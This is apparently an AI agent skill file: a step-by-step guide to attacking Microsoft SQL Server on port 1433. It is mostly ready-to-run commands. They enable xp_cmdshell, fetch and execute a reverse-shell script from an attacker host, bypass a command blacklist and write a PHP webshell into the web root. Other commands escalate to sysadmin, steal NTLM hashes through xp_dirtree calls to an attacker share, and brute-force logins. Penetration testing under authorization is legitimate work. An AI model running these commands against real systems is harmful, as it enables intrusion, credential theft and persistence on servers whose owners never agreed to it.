| name | mssql-pentest |
| description | How to pentest Microsoft SQL Server (MSSQL) on port 1433. Use this skill whenever the user mentions MSSQL, SQL Server, port 1433, database enumeration, SQL injection against MSSQL, xp_cmdshell, linked servers, SQL Server privilege escalation, or any MSSQL-related security testing. This skill covers enumeration, exploitation, privilege escalation, and persistence techniques for MSSQL servers. |
MSSQL Pentesting Skill
A comprehensive guide for pentesting Microsoft SQL Server instances, covering enumeration, exploitation, privilege escalation, and persistence.
Quick Start
When you encounter MSSQL (port 1433), follow this workflow:
- Enumerate the service and gather information
- Authenticate using available credentials
- Explore databases, tables, and permissions
- Exploit misconfigurations for RCE or data access
- Escalate privileges if possible
- Maintain access if needed
Enumeration
Initial Reconnaissance
Start with nmap to gather basic information:
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
Metasploit Enumeration (requires credentials)
use auxiliary/admin/mssql/mssql_enum
use admin/mssql/mssql_enum_domain_accounts
use admin/mssql/mssql_enum_sql_logins
use auxiliary/admin/mssql/mssql_findandsampledata
use auxiliary/scanner/mssql/mssql_hashdump
use auxiliary/scanner/mssql/mssql_schemadump
use auxiliary/admin/mssql/mssql_ntlm_stealer
RID Brute Force for User Enumeration
When you have valid credentials but limited privileges, enumerate domain users:
nxc mssql <IP> --local-auth -u <username> -p '<password>' --rid-brute 5000
nxc mssql <IP> -u DOMAIN\\user -p 'password' --rid-brute 5000
Manual Connection Methods
Using mssqlclient.py (Impacket):
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
Using sqsh:
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
Basic Enumeration Queries
Once connected, run these queries to understand your access:
SELECT @@version;
SELECT user_name();
SELECT name FROM master.dbo.sysdatabases;
SELECT * FROM sys.database_principals;
SELECT name, create_date, modify_date, type_desc as type,
authentication_type_desc as authentication_type, sid
FROM sys.database_principals
WHERE type not in ('A', 'R')
ORDER BY name;
EXEC sp_linkedservers;
SELECT * FROM sys.servers;
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
SELECT IS_SRVROLEMEMBER('sysadmin');
USE master;
EXEC sp_helpsrvrolemember 'sysadmin';
USE master;
sp_helprotect ;
Exploitation Techniques
Enable xp_cmdshell for RCE
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC master..xp_cmdshell 'whoami';
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://<ATTACKER_IP>:8000/rev.ps1") | powershell -noprofile';
Bypass xp_cmdshell Blacklisting
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping <ATTACKER_IP>' --
Read Files with OPENROWSET
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents;
SELECT * FROM fn_my_permissions(NULL, 'SERVER')
WHERE permission_name='ADMINISTER BULK OPERATIONS'
OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
Write Files with OLE Automation
sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
DECLARE @OLE INT;
DECLARE @FileID INT;
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT;
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1;
EXECUTE sp_OAMethod @FileID, 'WriteLine', NULL, '<?php echo shell_exec($_GET["c"]);?>';
EXECUTE sp_OADestroy @FileID;
EXECUTE sp_OADestroy @OLE;
Execute Python/R Scripts
EXECUTE sp_execute_external_script @language = N'Python',
@script = N'print(__import__("getpass").getuser())';
EXECUTE sp_execute_external_script @language = N'Python',
@script = N'print(__import__("os").system("whoami"))';
EXECUTE sp_execute_external_script @language = N'Python',
@script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())';
Registry Access
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE',
'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent',
'WorkingDirectory';
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE',
'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey',
'MyNewValue', 'REG_SZ', 'Now you see me!';
USE master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
Privilege Escalation
From db_owner to sysadmin (Trustworthy Database)
SELECT a.name, b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b ON a.name=b.name;
SELECT suser_sname(owner_sid) FROM sys.databases;
USE <trustworthy_db>;
SELECT rp.name as database_role, mp.name as database_user
FROM sys.database_role_members drm
JOIN sys.database_principals rp ON (drm.role_principal_id = rp.principal_id)
JOIN sys.database_principals mp ON (drm.member_principal_id = mp.principal_id);
USE <trustworthy_db>;
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'YOUR_USERNAME','sysadmin';
EXEC sp_elevate_me;
SELECT is_srvrolemember('sysadmin');
User Impersonation
SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
REVERT;
Linked Server Exploitation
EXEC sp_linkedservers;
SELECT * FROM [LINKED_SERVER_NAME].master.dbo.sysdatabases;
EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER_NAME];
NTLM Hash Stealing
Trigger NTLM Authentication
EXEC master.dbo.xp_dirtree '\\<ATTACKER_IP>\any\thing';
EXEC master..xp_subdirs '\\<ATTACKER_IP>\anything\';
EXEC master..xp_fileexist '\\<ATTACKER_IP>\anything\';
Capture the Hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
use auxiliary/admin/mssql/mssql_ntlm_stealer
Check Permissions for These Functions
USE master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';
Common Tools
MSSQLPwner
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
mssqlpwner corp.com/user:lab@<IP> -windows-auth custom-asm hostname
mssqlpwner corp.com/user:lab@<IP> -windows-auth -link-name SRV01 exec hostname
mssqlpwner corp.com/user:lab@<IP> -windows-auth ntlm-relay <ATTACKER_IP>
CrackMapExec
cecm mssql -d <Domain> -u <username> -p <password> -x "whoami"
cecm mssql -d <Domain> -u <username> -H <HASH> -X '$PSVersionTable'
Important Notes
DBaaS Environments
In cloud database-as-a-service environments (AWS RDS, Azure SQL, etc.):
xp_cmdshell is typically disabled and cannot be enabled
TRUSTWORTHY database property is not supported
- Focus on application-layer exploitation and data exfiltration
- Look for misconfigured IAM roles or network/VPC design issues
Permission Requirements
- xp_cmdshell: Requires EXECUTE permission on the stored procedure
- OPENROWSET BULK: Requires ADMINISTER BULK OPERATIONS permission
- OLE Automation: Requires admin privileges to enable
- Registry functions: Check with
sp_helprotect before attempting
System Databases
- master: System-level details for the SQL Server instance
- msdb: SQL Server Agent scheduling, alerts, and jobs
- model: Blueprint for new databases
- tempdb: Temporary storage for transient objects
- Resource: Read-only, houses system objects
References